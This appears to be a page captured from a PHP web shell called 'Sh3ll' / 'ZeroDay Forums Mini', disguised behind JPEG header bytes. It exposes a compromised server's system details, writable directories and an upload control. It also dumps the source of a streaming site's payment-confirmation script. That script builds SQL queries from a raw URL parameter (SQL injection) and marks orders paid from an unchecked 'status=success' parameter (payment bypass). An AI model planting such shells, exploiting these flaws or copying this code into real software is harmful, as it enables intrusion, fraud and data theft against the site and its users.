˙Ř˙ŕJFIF˙Ű„ ( %"1"%)+...383,7(-.- 404 Not Found
Sh3ll
OdayForums


Server : LiteSpeed
System : Linux v2202501248978307069 5.4.0-204-generic #224-Ubuntu SMP Thu Dec 5 13:38:28 UTC 2024 x86_64
User : voirf6718 ( 1002)
PHP Version : 7.3.33-1+focal
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,
Directory :  /home/voirfilmshd-gratuit.site/public_html/public_html/subscription/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : /home/voirfilmshd-gratuit.site/public_html/public_html/subscription/process.php
<?php

require_once __DIR__ . '/init.php';

$message = "";
$state = false;
$redirect = URL;

if (!empty($_GET['reference'])) {
	$req = $db->query('SELECT * FROM subscription_table WHERE id = ' . $_GET['reference']);
	$subscription = $req->fetch();
	if (!empty($subscription)) {
		if ($_GET['status'] == 'success') {
			$sql = sprintf("UPDATE subscription_table SET started = NOW(), expired = DATE_ADD(started, INTERVAL %d DAY), status = 'paid' WHERE id = %d", $subscription['duration'], $subscription['id']);
			if ($db->query($sql)) {
				$state = true;
				$message = "Commande validée avec succès. Veuillez vous connecter dans l'application pour bénéficier de votre abonnement";
				$redirect = "https://donations.voirfilms-hd.com/";
			}
		} else {
			if ($subscription['status'] != 'paid') {
				$db->query("UPDATE subscription_table SET status = 'unpaid' WHERE id = {$_GET['reference']}");
				$message =  "Paiement echouée. Veuillez recommencer.";
			} else {
				$message = "Une erreur interne s'est produite. Veuillez ressayer plus tard";
			}
		}
	} else {
		$message = 'Commande non trouvée ou expirée';
	}
}
?>
<!DOCTYPE html>
<html lang="fr">

<head>
	<meta charset="UTF-8">
	<meta http-equiv="X-UA-Compatible" content="IE=edge">
	<meta name="viewport" content="width=device-width, initial-scale=1.0">
	<title>Confirmation de paiement</title>
	<link rel="stylesheet" href="https://stackpath.bootstrapcdn.com/bootstrap/4.5.0/css/bootstrap.min.css">
	<link rel="stylesheet" href="https://fonts.googleapis.com/icon?family=Material+Icons">
	<link rel="stylesheet" href="https://maxcdn.bootstrapcdn.com/font-awesome/4.7.0/css/font-awesome.min.css">
	<script src="https://code.jquery.com/jquery-3.5.1.min.js"></script>
	<script src="https://cdn.jsdelivr.net/npm/popper.js@1.16.0/dist/umd/popper.min.js"></script>
	<script src="https://stackpath.bootstrapcdn.com/bootstrap/4.5.0/js/bootstrap.min.js"></script>

	<style>
		body {
			font-family: 'Varela Round', sans-serif;
		}

		.modal-confirm {
			color: #636363;
			width: 325px;
			font-size: 14px;
		}

		.modal-confirm .modal-content {
			padding: 20px;
			border-radius: 5px;
			border: none;
		}

		.modal-confirm .modal-header {
			border-bottom: none;
			position: relative;
		}

		.modal-confirm h4 {
			text-align: center;
			font-size: 26px;
			margin: 30px 0 -15px;
		}

		.modal-confirm .form-control,
		.modal-confirm .btn {
			min-height: 40px;
			border-radius: 3px;
		}

		.modal-confirm .close {
			position: absolute;
			top: -5px;
			right: -5px;
		}

		.modal-confirm .modal-footer {
			border: none;
			text-align: center;
			border-radius: 5px;
			font-size: 13px;
		}

		.modal-confirm .icon-box {
			color: #fff;
			position: absolute;
			margin: 0 auto;
			left: 0;
			right: 0;
			top: -70px;
			width: 95px;
			height: 95px;
			border-radius: 50%;
			z-index: 9;
			padding: 15px;
			text-align: center;
			box-shadow: 0px 2px 2px rgba(0, 0, 0, 0.1);
		}

		.icon-box.danger {
			background-color: #dc3545;
		}

		.icon-box.success {
			background-color: #82ce34;
		}

		.modal-confirm .icon-box i {
			font-size: 58px;
			position: relative;
			top: 3px;
		}

		.modal-confirm.modal-dialog {
			margin-top: 80px;
		}

		.modal-confirm .btn {
			color: #fff;
			border-radius: 4px;
			text-decoration: none;
			transition: all 0.4s;
			line-height: normal;
			border: none;
		}

		.trigger-btn {
			display: inline-block;
			margin: 100px auto;
		}
	</style>
</head>

<body style="background: url(web/background.png);">
	</div>
	<div id="myModal" class="modal fade">
		<div class="modal-dialog modal-confirm">
			<div class="modal-content">
				<div class="modal-header">
					<div class="icon-box <?= $state ? 'success' : 'danger' ?>">
						<i class="material-icons"><?= $state ? "check_circle" : "highlight_off" ?></i>
					</div>
					<h4 class="modal-title w-100"><?= $state ? "Super" : "Un soucis...." ?></h4>
				</div>
				<div class="modal-body">
					<p class="text-center"><?= $message ?></p>
				</div>
				<div class="modal-footer">
					<a href="<?= $redirect ?>"  class="btn <?= $state ? 'btn-success' : "btn-danger" ?> btn-block">OK</a>
				</div>
			</div>
		</div>
	</div>
	<script>
		document.addEventListener('DOMContentLoaded', function(e) {
			$('#myModal').modal();
		})
	</script>
</body>

</html>

ZeroDay Forums Mini